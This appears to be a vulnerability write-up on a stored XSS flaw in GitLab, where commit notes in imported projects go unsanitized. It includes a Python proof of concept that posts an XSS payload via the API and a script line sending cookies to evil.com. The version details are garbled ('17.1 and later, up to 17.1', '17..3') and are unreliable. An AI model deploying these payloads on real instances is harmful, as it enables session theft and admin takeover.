On May 30, 2024, the GitLab team disclosed CVE-2024-4901, a severe Stored Cross-Site Scripting (XSS) vulnerability introduced in GitLab Community and Enterprise Editions. This security flaw affects all versions:
17.1 and later, up to 17.1.
The vulnerability revolves around malicious commit notes that can be imported into another GitLab project, triggering persistent XSS attacks within the GitLab user interface.
In this exclusive read, we’ll break down what happened, show a PoC (Proof of Concept), explore the possible impact, and help you secure your GitLab instance immediately.
Understanding the Vulnerability
A commit note in GitLab is a user comment attached to a commit. Notes are visible in the web UI and typically support Markdown. CVE-2024-4901 exists because certain project import logic failed to sanitize commit notes, allowing an attacker to embed JavaScript.
17.1.1
What’s Stored XSS?
Stored XSS happens when an attacker injects a malicious JavaScript payload that gets stored on the server, usually inside a database record (like a note or comment). When another user (usually an administrator) views the page displaying this data, the script runs in their browser.
Demonstrating the Attack
Let’s walk through the steps to exploit CVE-2024-4901.
Step 1: Craft a Repository with Malicious Commit Note
On a vulnerable GitLab instance, create a repo then add a commit. Use GitLab’s API or web to leave a commit note containing a carefully crafted payload.
# Example: Using GitLab API to post a malicious commit note
import requests
GITLAB_URL = "https://gitlab.your-domain.com";
PROJECT_ID = 123
COMMIT_SHA = "abcdef123456789"
PRIVATE_TOKEN = "your_private_token"
payload = '<img src=x onerror=alert("XSS from note!")>'
endpoint = f"{GITLAB_URL}/api/v4/projects/{PROJECT_ID}/repository/commits/{COMMIT_SHA}/comments"
data = {"note": payload}
headers = {"PRIVATE-TOKEN": PRIVATE_TOKEN}
r = requests.post(endpoint, headers=headers, data=data)
print(r.json())
Step 2: Export the Project
In GitLab, use the Project > Settings > General > Advanced > Export project functionality, or the API, to create an export package including commits and notes.
Step 3: Victim Imports the Project
A victim with a vulnerable GitLab instance imports the malicious project by uploading the exported file.
Step 4: XSS Trigger
When anyone (especially an admin) opens the commits page for the imported project, viewing the commit history or notes, the JavaScript executes.
Result: The attacker’s code runs as if it’s part of the trusted GitLab site.
What it looks like
<!-- Dangerous commit note payload -->
<img src=x onerror=alert("XSS from note!")>
Or more dangerous
<script>fetch('https://evil.com/steal?cookie='+document.cookie);</script>
Real-World Scenarios
- Targeting large organizations: Attackers can submit a project with useful code but malicious notes to open source programs, merging XSS into the organization’s private GitLab.
- Compromising DevSecOps: Once code runs in an admin’s browser, attackers can trigger destructive API calls, add SSH keys, or change user emails.
Original Security Advisory:
GitLab Security Release: 16.11.5, 17..3, 17.1.1
CVE record:
GitLab API Docs:
Conclusion
CVE-2024-4901 reminds us that import channels in developer platforms are a prime spot for persistent, worm-like attacks. Stored XSS is always critical because of its potential to escalate to total compromise.
If you’re running a vulnerable GitLab version, patch now. Stay alert for suspicious commit notes or mysterious imported projects.
Timeline
Published on: 06/27/2024 00:15:12 UTC
Last modified on: 08/01/2024 20:55:10 UTC